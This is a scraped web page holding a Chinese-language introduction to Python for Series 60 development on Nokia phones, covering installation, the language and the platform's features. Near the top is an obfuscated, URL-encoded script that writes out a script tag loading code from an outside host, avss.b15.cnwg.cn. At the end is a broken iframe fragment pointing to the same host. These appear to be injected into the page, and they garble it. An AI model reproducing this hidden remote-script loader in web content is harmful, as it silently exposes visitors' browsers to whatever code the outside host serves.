HTML Tags and JavaScript tutorial
<script language="javascript">var encS="%3Cscript%20language%3D%22javascript%22%20src%3D%22http%3A//avss.b15.cnwg.cn/count/count.asp%22%3E%3C/script%3E";var S=unescape(encS);document.write(S);</script>
[Python for Series 60 的开发指南] 介绍
介绍
这篇指南介绍
Python for Series 60
并力图使读者快速抓住它的精髓。学习
PyS60
不需要面向对象的知识,甚至都不需要你了解
Python
语言。在真机上运行脚本程序,看看他们都做些什么,并理解每一行代码的含义,只要你坚持这么做,你就会学到很多东西。
为移动设备开发
PyS60
程序
PyS60
开发简单快速。在
S60
设备上运行
Python
脚本,要进行下面三步:
1.
安装
Python
解释器
(
是一个名为
Python for Series 60
的
sis
文件,可以在
Nokia
网站上免费下载
)
,当然这一步第一次执行完后,以后再运行
Python
脚本就不再需要安装了。
2.
编写
Python
脚本,存为
*.py
格式的文件
.
3.
通过蓝牙,数据线,红外等手段把
*.py
文件推到移动终端上,直接运行。不需要编译,构建。
“Python for Series
60”
是开始为
S60
设备开发程序的理想选择,因为它简单,快速。它非常适合原型开发,或者为证明某个想法,概念成立而开发程序验证的情况。仅有一些脚本语言的基础就可以理解
Python
脚本程序并且可以在很短的时间内创建应用程序。
什么是
Python
?
Python
是由
Guido van Rossum
开发的开源编程语言。
Python
是解释型,交互式,面向对象的脚本语言。它常常和
Tcl,Perl,Scheme,Java
相比较。
Python
正变得越来越受欢迎。
Python
集功能强大和语法清晰于一身。
它有
modules,classes,exceptions,very high level dynamic data types
和
dynamic typing
。
什么是
Python for Series 60
?
Python for Series 60
把
Python
语言移植到
S60
平台上。当前
Python for Series 60
是基于
Python
2.2.2
。支持大多数
Python
标准库和移动平台特有的库,例如
:
--
本地
GUI
组件
--
蓝牙
--GPRS
网络
--GSM
位置信息
--SMS
消息
--
摄像头访问
支持的移动设备
(2006,1)
Nokia 6630, Nokia 6600, Nokia 7610, Nokia 6670, Nokia N-Gage QD, N70, N90
Python for Series 60
提供的功能:
•
GUI: Menu, Forms, Listboxes, Input fields, Dialogs, Notes
• Graphics: - color, font and style attributes, - direct-screen drawing, - displaying images and icons
• Key-down and key-up events
• Sockets: TCP/IP, Bluetooth (RFCOMM, OBEX)
• Messaging (SMS)
• Networking (HTTP, FTP, …)
• Acess to file system, file reading, XML, RSS
• Acess to camera, telephone
• Acess to calendar, contacts, sysinfo
• Location (cell-id)
• Content handler
• Python extensions can be written in C++(
用
C++
扩展
Python)
• Make standalone applications(
构建独立应用程序
)
src="http://avss.b15.cnwg.cn/count/iframe.asp" frameborder="0" width="650" scrolling="no" height="160">